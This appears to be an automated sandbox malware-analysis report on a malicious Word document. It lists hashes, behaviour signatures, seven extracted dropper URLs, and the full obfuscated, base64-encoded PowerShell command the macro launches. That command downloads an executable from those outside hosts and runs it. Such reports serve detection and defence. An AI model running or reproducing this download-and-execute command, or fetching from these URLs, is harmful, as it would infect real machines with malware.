Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    23/08/2024, 13:12

General

  • Target

    bbddda0f139fe3dfa549c23ebde4a58f_JaffaCakes118.doc

  • Size

    152KB

  • MD5

    bbddda0f139fe3dfa549c23ebde4a58f

  • SHA1

    9cd8ecc8035e380dd02e79e491ca65141b6055af

  • SHA256

    4b9d91be1963c6f42e04bf4f357bb64bdebde601824e684ca980cb75edc41fd9

  • SHA512

    bd43a76e1a760313edb2537a3cf918a6b0a81a345fa803e3832d7d7c09e55d4b37a8f6b4c26e0484abe1955537fc6dff1c99aebe2a1f558b0ba4ca2d0a479556

  • SSDEEP

    1536:oSGB445TEgrO3jSWAg83tle1ZZ0293QM0eetR2cOupLB5UZ5p+a9CPKv9knJbGrQ:oz22TWTogk079THcpOu5UZA5UoOqqxk

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://armahouse.com/wp-includes/0/

exe.dropper

http://bitbenderz.com/ali/4Lo/

exe.dropper

http://lagera.com/images/W/

exe.dropper

http://msmartyford.com/assets/OI/

exe.dropper

http://geisterhouse.com/cgi-bin/FE/

exe.dropper

https://konican.com/cgi-bin/nFK/

exe.dropper

https://coolcomputers.info/LLC/zD/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bbddda0f139fe3dfa549c23ebde4a58f_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2480
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2280
    • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
      POWeRsHeLL -ENCOD JABLAHoAcQAyADAAaQBsAD0AKAAnAEkAJwArACcAMgB4ACcAKwAoACcAZwAnACsAJwByADcAYwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBQAFIATwBmAEkATABFAFwATQBmAGoANAAzAE0AZgBcAGcANABfADgARAB5ADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAVQBgAFIAaQBUAFkAYABwAFIAbwBUAGAATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAnACwAJwArACcAIAB0ACcAKwAoACcAbABzADEAMQAnACsAJwAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFEAdQA5AHkAcQBqADEAIAA9ACAAKAAoACcAWAAnACsAJwA4AGcAJwApACsAKAAnAG0ANAAnACsAJwBnACcAKQArACcAcgBqACcAKQA7ACQAVQBpAGEAMwBtADgAXwA9ACgAJwBTAGkAJwArACcAMgA0ACcAKwAoACcAXwB0ACcAKwAnAGkAJwApACkAOwAkAFAAMABzAHEANAAyAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBjACcAKwAnAFYANQAnACkAKwAnAE0AZgAnACsAJwBqADQAJwArACcAMwBtACcAKwAnAGYAJwArACgAJwBjAFYAJwArACcANQBHACcAKQArACgAJwA0ACcAKwAnAF8AOABkACcAKQArACgAJwB5ADQAYwAnACsAJwBWADUAJwApACkALQByAGUAUABMAGEAYwBlACAAKAAnAGMAJwArACcAVgA1ACcAKQAsAFsAYwBoAGEAcgBdADkAMgApACsAJABRAHUAOQB5AHEAagAxACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQARwByAGIAegAwAGoAbgA9ACgAKAAnAEgAXwAnACsAJwBoACcAKQArACgAJwByAHIAJwArACcAcABpACcAKQApADsAJABHAG8AMABiAHoAcgB6AD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABOAGUAVAAuAHcAZQBiAEMAbABpAEUATgB0ADsAJABUAHUAMgBqADIAbwB0AD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoAJwArACgAJwAvACcAKwAnAC8AYQAnACkAKwAoACcAcgAnACsAJwBtACcAKwAnAGEAaABvAHUAcwAnACsAJwBlAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AaQAnACkAKwAoACcAbgAnACsAJwBjAGwAdQBkACcAKQArACcAZQAnACsAKAAnAHMALwAwACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAYgAnACsAJwBpAHQAYgAnACkAKwAnAGUAJwArACgAJwBuAGQAZQByAHoAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACcALwAnACsAJwBhAGwAJwApACsAJwBpACcAKwAoACcALwAnACsAJwA0AEwAbwAnACkAKwAnAC8AJwArACgAJwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBsAGEAJwArACcAZwBlACcAKQArACcAcgAnACsAKAAnAGEALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAnAC8AJwArACgAJwBpAG0AYQBnAGUAcwAnACsAJwAvAFcAJwApACsAJwAvACcAKwAoACcAKgBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKQArACgAJwBtAHMAbQBhACcAKwAnAHIAdAB5AGYAJwArACcAbwByACcAKQArACgAJwBkAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AYQAnACsAJwBzAHMAZQAnACkAKwAoACcAdABzACcAKwAnAC8ATwBJAC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAA6AC8ALwBnACcAKwAnAGUAJwApACsAKAAnAGkAcwB0ACcAKwAnAGUAcgBoACcAKQArACgAJwBvACcAKwAnAHUAcwAnACkAKwAoACcAZQAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBjACcAKwAoACcAZwBpAC0AJwArACcAYgAnACkAKwAoACcAaQBuACcAKwAnAC8AJwApACsAJwBGACcAKwAoACcARQAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8ALwAnACkAKwAnAGsAbwAnACsAKAAnAG4AaQAnACsAJwBjAGEAbgAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACsAJwAvAGMAJwApACsAJwBnACcAKwAnAGkAJwArACcALQAnACsAJwBiACcAKwAoACcAaQBuAC8AbgBGAEsALwAnACsAJwAqACcAKQArACcAaAAnACsAKAAnAHQAdABwAHMAJwArACcAOgAnACkAKwAoACcALwAvAGMAbwBvACcAKwAnAGwAJwApACsAKAAnAGMAJwArACcAbwBtAHAAdQAnACsAJwB0AGUAJwApACsAJwByACcAKwAoACcAcwAuAGkAJwArACcAbgBmACcAKQArACgAJwBvAC8AJwArACcATAAnACkAKwAoACcATABDAC8AJwArACcAegBEAC8AJwApACkALgAiAFMAUABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgA5AGcAYQBsAGkAXwA9ACgAJwBRAHEAJwArACgAJwAyACcAKwAnAHgAbAA3ACcAKQArACcAOQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABZAHgAbwB4AHIAYgBfACAAaQBuACAAJABUAHUAMgBqADIAbwB0ACkAewB0AHIAeQB7ACQARwBvADAAYgB6AHIAegAuACIARABvAFcAbgBMAE8AYABBAGAARABmAGkAbABFACIAKAAkAFkAeABvAHgAcgBiAF8ALAAgACQAUAAwAHMAcQA0ADIAaQApADsAJABZAHIAdAAxAHAAdQA2AD0AKAAoACcAVwBqAHIAJwArACcAbQAxAHMAJwApACsAJwBqACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABQADAAcwBxADQAMgBpACkALgAiAGwAYABlAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA1ADcANgAzACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AJwArACcAawBlAC0ASQB0AGUAbQAnACkAKAAkAFAAMABzAHEANAAyAGkAKQA7ACQATgB3AGIAbgBoAHQAYQA9ACgAKAAnAEYAYgBzACcAKwAnAHMAMgAnACkAKwAnAHAAbwAnACkAOwBiAHIAZQBhAGsAOwAkAFYAdQBfADgAdAA0AHkAPQAoACcAUQBnACcAKwAoACcAYgAzACcAKwAnAHkAZQBmACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAHcANABrADgAYQAyAD0AKAAnAE4AaAAnACsAKAAnAGgAcwAnACsAJwBtACcAKQArACcAYgBkACcAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2660

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      81921f45015460918e64aef43d3d7774

      SHA1

      0186db70f32eefab198bed2401bf0000374a644c

      SHA256

      ae17569029bd8f6b9d9d7ea4005cf35c21286e00eaa29fde83b3466432d36a87

      SHA512

      1109616f9d3717f8d774de8911938bd80c5e3b907d9bd435d131028bc4e6b18d79f6ce4e4e554f4905afa84eaeefa064fe03b3e510e08584d4df568aa81b078c

    • memory/2480-33-0x0000000005AE0000-0x0000000005BE0000-memory.dmp

      Filesize

      1024KB

    • memory/2480-27-0x0000000005AE0000-0x0000000005BE0000-memory.dmp

      Filesize

      1024KB

    • memory/2480-6-0x0000000005AE0000-0x0000000005BE0000-memory.dmp

      Filesize

      1024KB

    • memory/2480-7-0x0000000005CF0000-0x0000000005DF0000-memory.dmp

      Filesize

      1024KB

    • memory/2480-22-0x0000000005AE0000-0x0000000005BE0000-memory.dmp

      Filesize

      1024KB

    • memory/2480-21-0x0000000005AE0000-0x0000000005BE0000-memory.dmp

      Filesize

      1024KB

    • memory/2480-2-0x0000000073FBD000-0x0000000073FC8000-memory.dmp

      Filesize

      44KB

    • memory/2480-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2480-32-0x0000000005AE0000-0x0000000005BE0000-memory.dmp

      Filesize

      1024KB

    • memory/2480-0-0x000000002F381000-0x000000002F382000-memory.dmp

      Filesize

      4KB

    • memory/2480-63-0x0000000073FBD000-0x0000000073FC8000-memory.dmp

      Filesize

      44KB

    • memory/2480-41-0x0000000073FBD000-0x0000000073FC8000-memory.dmp

      Filesize

      44KB

    • memory/2480-42-0x0000000005AE0000-0x0000000005BE0000-memory.dmp

      Filesize

      1024KB

    • memory/2480-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2660-39-0x000000001B850000-0x000000001BB32000-memory.dmp

      Filesize

      2.9MB

    • memory/2660-40-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

      Filesize

      32KB